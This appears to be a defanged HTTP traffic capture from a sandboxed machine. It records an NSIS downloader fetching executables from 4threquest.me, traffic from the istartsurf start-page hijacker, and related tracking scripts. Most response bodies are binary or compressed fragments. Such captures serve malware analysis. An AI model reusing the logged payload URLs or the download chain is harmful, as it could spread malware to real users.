...Pj.h..z.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...'z...Si.....VW.T.....tO.q.3.;5.'z.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.'z.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

GET /310714d/291014_nj.exe?token=lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.4threquest.me

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:17 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.4.30

Content-Length: 1989462

Content-Description: File Transfer

Content-Disposition: attachment; filename="291014_nj.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@..........................................................................s..........H............................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata.......@...........................rsrc...H............v..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..

<<< skipped >>>

GET /310714d/280815_cr.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.4threquest.me

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:25 GMT

Content-Type: application/octet-stream

Content-Length: 1568162

Last-Modified: Sun, 13 Sep 2015 21:48:03 GMT

Connection: keep-alive

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

CC: UA

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...x...x...x.......z...x...........i...,...t.......y...Richx...................PE..L......K.................\....9.....?2.......p....@...........................;..............................................s........:.`............................................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data.....9..........r..............@....ndata.......0:..........................rsrc...`.....:......v..............@..@................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....&z..H.P.u..u..u...Hr@..B...SV.5.&z..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h..z.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...'z...Si.....VW.T.....tO.q.3.;5.'z.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.'z.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

GET /ftpup/images/img/sprite/sprite_simpleindexen_hot_margin1_5_7bce58e1133367b2f61a20c31726d6c2.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.istartsurf.com/?type=hp&ts=1442181046&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.thanksearch.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 7679

Last-Modified: Thu, 23 Jul 2015 10:20:27 GMT

Accept-Ranges: bytes

Cache-Control: max-age=31104000

Date: Sun, 13 Sep 2015 21:50:46 GMT

Connection: keep-alive

.PNG........IHDR.......0........n....gAMA......a.....sRGB.........PLTE...1..'.....]....<......D......iE'.......:.2!....c@.6.........:.>..:...4..%.A..6.....8..{..E..M......H....G..J.....B......-.~......m............. -...:.........=(n3 h.......R..g....j1.....w............'......R'J.....,:S...........>."..E..e@.......y....# <..Y..p.......}H.Y6/_...Y.z9.N1.).........\K....X.g3y.....3Hh......A[..F!..0Y...s6_(...;.....A.a09!...y...'..T,... .[......y,X...../}..H.J.m6....7 $....](q..g..g..LC4..Q..d. x..,.nE4s....Ok........{%...j....G....nL........0........r.Z..._.O*.7..s..T...`..j......Q..........J_....`...7:?X,-..weK ... . Qv..}l.|...j...Pq............3..Thih.................<.0...\....d....~......mKmI......H.5.~.......b..H.K..4...(.98........6..X.g........e;6A.%......HIIOO..JtXLv..........{d:K.p.......c....... C.0...P....tb.t.....i.\.u...ytRNS..i.......{.....8........................................................................................................k..<....IDATh....XSW....)M.N.}&..U.. B ...... 6.......J......@...H,.....Ev.A|...l.T..}.[...s.MB@..o.B$..Z...s..|.....r...T..|Q...h0.....7......A......7m.1~.....g......g.......',........h...K.._.r..5k..]......Z.5k...~=8.....>(.z..~$.?$D.........k...-....07.X.f:..6.VGG....g..2........u....6'.Y.>...0.64C.7...@.....H$..8|x...=....J..9.Qcm...?s..x..@;:88..._.......s.Z...r.a1K.....7..A/r.|.....v...N..f?..ob..a......sD....'-...........%.......s...mJ.C^Zprrr......m...n..;i......dC.....4C..l.F.g.p....mz6z............^xl.;.....(.c..{[.eW.~.[.E..

<<< skipped >>>

GET /010914s/top-line.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:05 GMT

Content-Type: image/gif

Content-Length: 1724

Last-Modified: Fri, 11 Sep 2015 00:43:55 GMT

Connection: keep-alive

Expires: Tue, 13 Oct 2015 21:48:05 GMT

Cache-Control: max-age=2592000

CC: UA

Accept-Ranges: bytes

GIF89a.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.......,............. .........\.0!....B....A...f..qcE. -..8..D..-...0...)..d......I.T.R.K..aJ.Z3.O.-w.\*s...MgvD.....E..$..aW.Z.&M.....O.B..0$J.....K....x.....o_.~...L.0..u..Ulx....#..LY2..y![...q......MZ......^..4...c.V.:5m..]..Mz....E.....l..M..M.6...e.^N..t..QSG^.....wC.g^......k.~.x........>.............( ....`.......1.........M(..... .......^X....."...x..(V...... ...Xb.0....0.h_.-....D.i..H&...L6...PF)..TVi..Xf...\v...`v.@...y..e.y..l.9&.f....t.Y..o.yg.x.Y.....g......v....p.z..|6...w..h..R....*...j:.....)....I*.......r.....F.....*.........Zk........Kj....(..D ...L[...R.m.gn.@.......j.-..z.-....n...k...............n...{....;........'.........:.p....p...|...Z.1..{,.......,....0....3?Ps. .|3.9..s.;....:.M..H'Ms.H..4.N..5.OS]u.6g]..=.<.

<<< skipped >>>

GET /010914s/mobi2.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:06 GMT

Content-Type: application/x-javascript

Last-Modified: Fri, 11 Sep 2015 19:26:51 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Tue, 13 Oct 2015 21:48:06 GMT

Cache-Control: max-age=2592000

CC: UA

Content-Encoding: gzip

8502..............{..G....>....4..e93..........m....2.I6..(.")K.....y...I.....{w'....(..@.(...[...[?L................7.f....8/...................h........% 6'...7...........|...{..?>.....O.W.....A..[[..wV..y.Z...1..?...|^.....y5..../..hE.......t.O?u.....~...........8........W..yao....Y..b.........x5..}...|......U..{..B.....^_.(...o.......F.....t>..o..-p.../..e....C..w?|.U...|.....x:=......O?.R.}...j0...Mg7.j8Z.0.......t..4...>........^_m.q`....ec..ln}y...lN...rT-..%...C9'.Z.a...a.)Y&.........?}3..W...<9|2.....`.....'.,....._.....b.]....fV.4.}oU....U.O......\^.'....=.4....j|..m.7i...E&.~.#......;.....VR*..FC..\.....A.....W..K1.,.G...^.9i%W.....J.t_..%.....@6.'..(.1........q..lt.|xIb^$:..m.'..d...2.).."cG..v.u.V.^*N..bYLz5.^e...:f...`n.sF>.W.G=..r~.[N.wwW............C....m.`#.....c$m...F......@.t\C.a.K...<%,....r...ux.D.I.....IF........../o.,....i._....S..<..... LE9/..........R....g4....3h..m.9...O...r.,..z..B_...6I.... .....p!..>....^.......4..rC.\..&.(e..&......./...|n......n.......6...YG\z...&..H:.......cZ7!..O"gk.;.....@>........_76.gX.7...u...(..[@h..1......#go..:7..i^C,.....U..u...._.>.C9....2P....N..........W...3mh ..6...-..4....7.d..g0..G.;...i...r..4...{.......ok.k-.. \..U.U..f..<....xWD.G...:.@1U...-......2....}..k..%..[.....X*z..(J.W[..JC..U{..-P.'$..U.2F.'...o..D..!J.EF~...^.>...Z ..0.3e..(..Tx..k.C~.$..*.....))......bo0.@.}......].....vL.^E.cB6......`..$...U....d.......US..0,V..L~.....>]..."..f...Q.'".u..(.S.V:.@yk.yww...T..."..4....@......x..9....=.v;.N..R..

<<< skipped >>>

GET /010914s/verificar_ip.php HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:08 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.30

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Server-Cache: BYPASS

Content-Encoding: gzip

18............s.......X.......0..HTTP/1.1 200 OK..Server: nginx/1.0.15..Date: Sun, 13 Sep 2015 21:48:08 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.4.30..Access-Control-Allow-Origin: *..Access-Control-Allow-Headers: X-Requested-With, X-RequestType..X-Server-Cache: BYPASS..Content-Encoding: gzip..18............s.......X.......0..

GET /f.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/extreme.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: t1.extreme-dm.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Sun, 13 Sep 2015 21:50:05 GMT

Content-Type: application/javascript

Content-Length: 1864

Last-Modified: Mon, 20 Jul 2015 18:58:09 GMT

Connection: close

ETag: "55ad44c1-748"

Content-Encoding: gzip

Expires: Sun, 13 Sep 2015 22:50:05 GMT

Cache-Control: max-age=3600

.....D.U..f.js...mo.:..........P.H.m..;r. @....W...;.!O$...........Yi#E....}...;.)..M...42...9....W....f.,.x...e8~...k.O...%.).B.a..B........ ..I...F....Y.8.P.n.5....U._..2..p.%.Wk..$..aV...;.a..Z.C|...e...F.*.^FS&..~..I..K=..l.8&,...X.,......y.5h.p9......d.7..E./..~c.....*...S........['.b...?.ou.?..j=.W}......HB..G_a..,..mYz..o..<Y....}.z..z..2....`U.B...A....l.8.-L4&...q..&..}A.EA....x.........BY...~Y... ..@W>W.a.l..S. .....z.u..c.........H.../ ..3. .MB...s.../.p0..`l...W".=.T.{e..T`..........cge...v.1..X.B..4I..!..d...p.&/fdE..b-.....d....)..co..@.U.^.....5][...Z. LY8.&..c...Yd...zh........&M.Q...].T...~...-...f.=.Nt.O.q......o.....<jGs.u.j....5o...)n6.s......V.y}.f.2|P.!.....#....\.6..Q........,m.cc.8...(... .b.E....9.2..3.yC..'....Qw..~...j.m.M...^..I.8._.'.J.`....X.N{..i...n...q.^.........Ur.)U.N.x....Z......}.O....:..T3]..q...4z./.....T9xC.C..)M...r:..PtF...?.X@2JRX..T'#..Tu.[........C.^.....LQ,_.y.^.g:X.Ef........O.P.J...y19.......E.t.l..8).%..d.Gx.....M.....|..L bk....n..Aw..E{...w.e.Ra[P..t9....e..h....khZ.:....l.{r.......r...n...........................1.u..D.c..$g6.J.}9.IaO.qg..4g......A.y....j.t.P:k/Q((&.k.h...N...L.........Y.9 ..q.4....X.:."{h.....Fkoh........4U...' 7.!....(.@Q5..d....zh.O.d..Mm..>......9T.J|)Lk>......X3-z%..r...0Sw.H7@i...>v.@S...[...W....i4.).c~.uDP. &...n*8]....$...h:.x@..x.)?.W).D.N....wy&Q...]....$R..v..S0k.b......J.....v8......m...u[.t...8m$0.V..C[k:.&.....g&?xJ.............M....k...b..M...t..&P@.)A.....L.H~2.//...-......8....8ZdO..z.C..Bzb'}.........}.M2..

<<< skipped >>>

GET /?type=hp&ts=1442181046&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001 HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Sun, 13 Sep 2015 21:48:07 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.14

Set-Cookie: uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001; expires=Mon, 12-Sep-2016 21:48:07 GMT; path=/; domain=.istartsurf.com

Set-Cookie: from=pcm; expires=Mon, 12-Sep-2016 21:48:07 GMT; path=/; domain=.istartsurf.com

Set-Cookie: nation=ua; expires=Mon, 12-Sep-2016 21:48:07 GMT; path=/; domain=.istartsurf.com

Set-Cookie: language=en; expires=Mon, 12-Sep-2016 21:48:07 GMT; path=/; domain=.istartsurf.com

Last-Modified: Fri, 11 Sep 2015 09:16:41 GMT

Etag: fc57695ad5cc310e7e214eade3785360

Pragma: public

Cache-Control: max-age=172800

Expires: Tue, 15 Sep 2015 21:48:07 GMT

Content-Encoding: gzip

8ab.............XY....~7...!.s. R....2|-.....:....Zd.....a7G...v..}X Oy.......`.. ..TuS.53.N..C.................O~..!.U..{.K&q.H...J..g<....-..it:.g.4..2..{C*.Q4..r..0.....LQ..k.4.g.u_$.%..d.2.x.....(..u...L..\.j..Bq..>..[.<...3..xrB2...T....1e.0c#..m'....OJG.8.X...;g,.\$n....w...~.l.. Gz.O.Q.X..1=.f....A...^....'..g.%.9...._Q...H.lG.f4.E..{k'ac..*...k..(g.F..5.T6=...kv..yTy...-.....L.<..a...c..c.._.8.u.,....SE=...UY..L.4`..1..2...36......h)..W"4.Q&..4:B...PH..[;.[uv..........'...S/b...k..5.......E.O.1.Z.Z<...y.}&........k..9..?.....sK2.y!...V..y.wv..... r......2..h...."...C .....D...;...V.1<...W.,.JO..V..Y....$u...'...q.|.z.n..R......d..m...7o\.........4..ne...j.O.=...`ia.R...2c^D%..o.X$'l...0..V..... \.-2 .... $..........."..Y."............/.........=....K4.?......W..._.............@...4......[|.:.Y.... d@..c..i-.@.$.k.......KH.......,.C.=.,...XY. ....Z.DJ).|..#. ..F.k9...%...u..I.......x...`....UI.R(..\.e.........R.Yh.@kX.% ..c..4.....`.7.o.oK.C...q;....U....$~X.s..D*S..K...9..<..2.C..P.5..t..P!.u.G!.}.t.C=.^-.i....AM..<*..$..j<Q. .k..5].,.V .a@..q......{.=.....k...5...%.B.qY........... ...q....sEU...8y..w...L.{..(........b..*m.U.\(......xo`.DcV.....'6...V.a.dH.. .y...#...S..o.."...N..J..1..#pd.q.H.......%.. ...Ic.78.zl..5..Vk.`...7h......}..k.i.@...C...!...\....$..S\..}.1x..w.n.v.M.r....H.l=.@..y.AG..#..I!..A...Nw. L...e..V.....X.j...f .....2B.hD...\O...^.........~...x@>..|..n....k....Z.....8....V...k.._...]..ac......k. .zL'.HP .....\.O.4.%.7v<q.>..0...m7...m7;....?gn.p.&

<<< skipped >>>

GET /local/css/simple2.css?version=20150907a082400 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.istartsurf.com/?type=hp&ts=1442181046&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive

Cookie: uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001; from=pcm; nation=ua; language=en

HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Sun, 13 Sep 2015 21:48:08 GMT

Content-Type: text/css

Last-Modified: Fri, 11 Sep 2015 09:16:41 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 13 Oct 2015 21:48:08 GMT

Cache-Control: max-age=2592000

Content-Encoding: gzip

b1a..............Yn...*.3...JV..wK?I<x...`..#..0...R,......}. ..r......"Q..8o&.`K,.U.b.6...W..O$[., ..d..mI.#IA.A......R.DdD$.&yy"....?..`.n.IyS.4gE.2A.vbUB..>.r<.. ".....$kH[.. is....j.$yu.......4~<5.\%.U...s..,\..WQ..S&.w....W..:Jy...~.]y...u...|..'&....V...&O/.....y.......[...Hw.{.b...V..H@.]...m.k...W..J.w.@.lJZ\....3|........l<...,\Z..*.......Y.y....`.P...,.$)..v.l.s..w..J.&.]p......W.'.3....c...`y....6i...T.).......%y[..5..a.....6?.E.^...dU$q.G.../.L........5..>q^. ....j..[_m.... X*...]Zp*Bl^..I...P..x........]M. .].].?.p.._....@.66l.`[..U....)....%,.-X.K. ..)pJ..x.?......T8..oX..|..?.............}(:..J.........*Ixc...k.>4....K...h..S]...]...Y.......,.x`%V... .^h<....p\.m...J.5~5...f....0c=.X...?n......A..e=...5@.tV.&o..a......N.\^.f.%x......!Oz7>....mg.&6~..5o....|.F..O...M.....,.......^..........3......t........>Cg........4.hQ,.G.(.a?.W....,.L.n....x.(......h.8e.z....F...H5.U4q......1X.vU/.....!d.t..........WS.......C..=......E..L. ...R..c.m.^..".....?8M....t.?0Qn..o3Y......1...`.T>..f..............W....'..8K.6 .,8.....3..;....\....M.pA.........Z._..v....M......k.h...Y...4.G.b..k.~h....).#.g%`...1............9..-....f4.s.W.`9><@.iNGz.l.D......I~n... .sy.f.# R..6{.9....^..>...'..}rU\..`..3.~..O..<...1..........8'.....:...oo.'2Z=..U.....6....}jX{....$=.W..@....x&...7N......G..N...M.!^.KI.x4i.'%8O...`,..)g.O!...b.ugY......X.@..RS............E......_.:s.n.....@..J.@.vJ....$..eu........P.3....1./...3..YZ.6.C.$s..>...A}|.........'..V7#..wqf.|.Z.6..O.fy%..^2...QT

<<< skipped >>>

GET /global/js/jquery.js?version=20150907a HTTP/1.1

Accept: */*

Referer: hXXp://VVV.istartsurf.com/?type=hp&ts=1442181046&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive

Cookie: uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001; from=pcm; nation=ua; language=en; uid=144094317306

HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Sun, 13 Sep 2015 21:48:09 GMT

Content-Type: application/x-javascript; charset=utf-8

Last-Modified: Fri, 11 Sep 2015 09:16:41 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 13 Oct 2015 21:48:09 GMT

Cache-Control: max-age=2592000

Content-Encoding: gzip

400a.................F....<E....b..J.{.A.xtm..w..v...D.U.H..@I.".Y.{..Yk^h^a...L$.Uv.}f..[E ........`...U.g~p.......tQyc.~...wqq.D7...z..}.....G...3<_..Cz....<. .................c.2.h2{?...G.........^......../.R]....FE.]......U.l......!...p....De.0.}.C...(...I.:.&Y....%..A`.JF.d.f.~_:MRm..m.gQ.e.4[&..Y....y....Qj.{#............}..*.Nl...E.)...N...n=Q.J..i6.n..2.T.|...pp...y..Y....).......}o........._P.<....`.1...r....Fi.@__.\........z}|..t..O...aZ7~J.1;.T..^`.....s.a.........4.G\/..V....\>...=..~.z6{.o.xC.....D.]z4.....C..Cz.......V...h.....ofug1..S..|..........I.TCo=..........3/.Y1.f.._......*.n.%EI5....lt..Dl.H..L.....o.w.zG)...fv.Og...|8.g.I0.f...*M.*).....lF.%...R..t.......>.x.....x.5...F..t:.?....{.o6.... i.y0...f!....3.............H.vC..z<`.d...}...F..v...}....H...w..k.*..M..T-.l.b...40...pOu....b..f.N.....M...D.c.].Ln.L.AFG....$...S.2.pp...6..x*...zY.4.J8?X............k.z.{.L.....9n..n......vC^T......g....R.......r".~......"....... 8.=.....m.e.*J.%x{.-.*G.#..._}.eD....7zfn.*....?.=../...'...~..~...N}>..T.].U].8.U..V'..F....j.N..>..#.V...*V..&.....n.8.r..j..#..$..a>...et.....{.O..N.*..85....F.S...OC?.1pM.5"..< ..,.U.....!......h.. 4.0....=0{c...>.:A..A....c..x.....Dg.....Wd..`..)^..*d.o-..h.t..R........3..I1!.8$k"...............W...n.j..1-.W..`".t._..s.....K....1...5...((q..1@..:`R...CsH..pAYN..Z2.<.u.]VW'...W.M|..h..sY.w...3s......p.7:sj..fT....lq:.......@....Fb%.U.d%.p..Y....g....T..Z.?..........Wx6...{.:.....\.Mt.6..Bq4...Y..!...n.qU\..hP .H..j...q...............2

<<< skipped >>>

GET /local/js/simple_other.js?version=20150907a0824 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.istartsurf.com/?type=hp&ts=1442181046&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.istartsurf.com

Connection: Keep-Alive

Cookie: uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001; from=pcm; nation=ua; language=en; uid=144094317306

HTTP/1.1 200 OK

Server: Tengine/1.2.2

Date: Sun, 13 Sep 2015 21:48:10 GMT

Content-Type: application/x-javascript; charset=utf-8

Last-Modified: Fri, 11 Sep 2015 09:16:41 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 13 Oct 2015 21:48:10 GMT

Cache-Control: max-age=2592000

Content-Encoding: gzip

1df1.............\.s.8.. 2'.!#.".~.V9..d/..=;..x\0.[L$B!!..K.....).a;3.Uw..,...Cw...4u......qE...baR...$....aL...I. NBW..P....9....Sx..Z.'V..6l..^f=.6..b....<.....h......'..._s$..Mz.w...a..Z.$..c l...........).N! .....ZFc.0Z\.e[@.D....$.....j....u ........xA.R.Xs...&.I6.. .A22..{b~...}..4H.bq.V.uHf&w.4..9.....v.YQ.Y.z.h...Efw..s...6g....s.D..N...smU.....8w .F.|b\F744..{...q.E!....gAn...y.........n..L............r......i.....]...........v...$..'....DK.8..."..?-.A...~E.;..$.%.`..J..........\.)....t.8...$..L.....z...xeX.K...!k6M.Z....m..EeVp..Vgja../i.-.9.A..Y...0...;......[-..Z>.......&G0.......^..[..:.....v..C.b.$=......C.oR..5:<.X-.F2?...GIBnMo...-;.x..0.F..)O.3(...>:......;g.....YH.md..D..=.e`uJ.3R.....t.s...f..*m!.....A...7..R........M..r.7......F...b..."...d.=.v;.DS.e.d6....qN..... ..`[...".*..M.//.N.$...'M..7i2.Id.f...l.6.......C-....7......M..7,....Y.....%..................sw4.....W....jF.T..... Z...Ol.s._.....O..0.0...v`...i.r....?....`..X.=P...A....:.~w4..z....H.. ..t.dh.....G....@!.!..{fw.......~..ZU(=....z.h4..@..(^.u.....A..(.^.....=...P....n.<..@.!.o8t.n...qe,...Q*..7.....L....58<Oqe<v{......u.......F.:.u%.....\..JO.....:..[../.x....A.3F8...p..>t3......".......(....z.n...I...T......CO..Ht,....Z7...v.N....2t.>h...........pQ.U }.d.0p{.Q...A..Hz.....7.A2F$.....).....S.......`.J(.h..t.....H@.....H...OW...XF^o0.A..`....L...P@.#.J0..T.......;.....C0`UK....G !...:...............MEU......u..D.....E....]w...j.x....cX.n...@.u....4...P`.n...P.v.. .x.....zn......t.co....J.t.#P.N.S.. .@

<<< skipped >>>

GET /xKPQyH HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: goo.gl

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Date: Sun, 13 Sep 2015 21:50:33 GMT

Expires: Sun, 13 Sep 2015 21:50:33 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Content-Length: 2273

Server: GSE

...........X[s.6.~.........]..[I.&u...i.....x<...I............"...f_$.87........g7..<'oo.xG.?.......(...Y...y......D..{Jh.\5...b..NCm...**...)......K.x.[..*gT(.-x:............/.......a.e3.8...?n..%....]!m.....Y.....y....8...l.eJ..Y<.......;...p7r*<..p...m.$wC.y..c....q!U..a.....]Sq.......ED...N.K.O.....y.:n....,..B....W..i3.*......6j.*....1>A.......c....A....d.....3............$....e..].. e[r.....K..>.-..5..G......m"T.BJ...~.,..qs..AwR....`E...]lS8..|....Y...H..Sp...abe..?. ....x;...V<.7.....^..b.....Y..|.TU..r&...Y.._.......F.r3.6....=.b..x....X1}....L..[.....CI.........h*.'.5.....3....rG..(i.1Zw...C...X...eG.......Q.c.....`...E....H..Z./..R..W..u....C.w$.:.K"-.Y..x..VF...Y.4I...B,r...,.7.....ne..SnD......B.".\. .ddF.....u..b|...Q....J....%...,.-@.%....M#.k....Qbm.kHM.....a.xG..?..3S.Nu.....V.....[2>...$....0.u.$I..e..,...Pi*..oLd..;ca-.y}T.\w.../..g#$...t......\f...Ra...d.a.TX...1..l.l...<...m:~......e..#!....d..>O2(l.=\..n...@.X._.H..J.J..:~.l..-.(...*h.T'.)T.>..........sSll.2.\Z.K..0x.e..s>..m.,.5f.58.KpH<n.BSY.../..|;...AO...C..eWxu..t-..j....y.U...G......k..m.u...r.g...3.Dg.Z..........:.v.E.2.*.4.JH..""#.:.!6":....d.A.ZX......N..D..........6..jA.N......E..o"X...g9d1........f....v..u..ly......6J...1.@.5.^.....T....:.jh.....o.f......p3.....ko..D.....:...[..2.9<)..4../-.F.....,.-57f.......$.D.v:vT..d..x.g.W...2....f.D..=......va..8.....]-.........Q._.....26Z..1(......h~.r..../....<aoEY5.e%...(.C...5.0m.m ....U.]6..e..[./..u...aA..X..Y...$..s6..pM..e...t.6.....^U

<<< skipped >>>

GET /static/0053.urlshortener.css HTTP/1.1

Accept: */*

Referer: hXXp://goo.gl/xKPQyH

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: goo.gl

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Tue, 13 Oct 2015 17:23:06 GMT

Date: Sun, 13 Sep 2015 17:23:06 GMT

Last-Modified: Thu, 10 Sep 2015 18:26:21 GMT

Content-Type: text/css

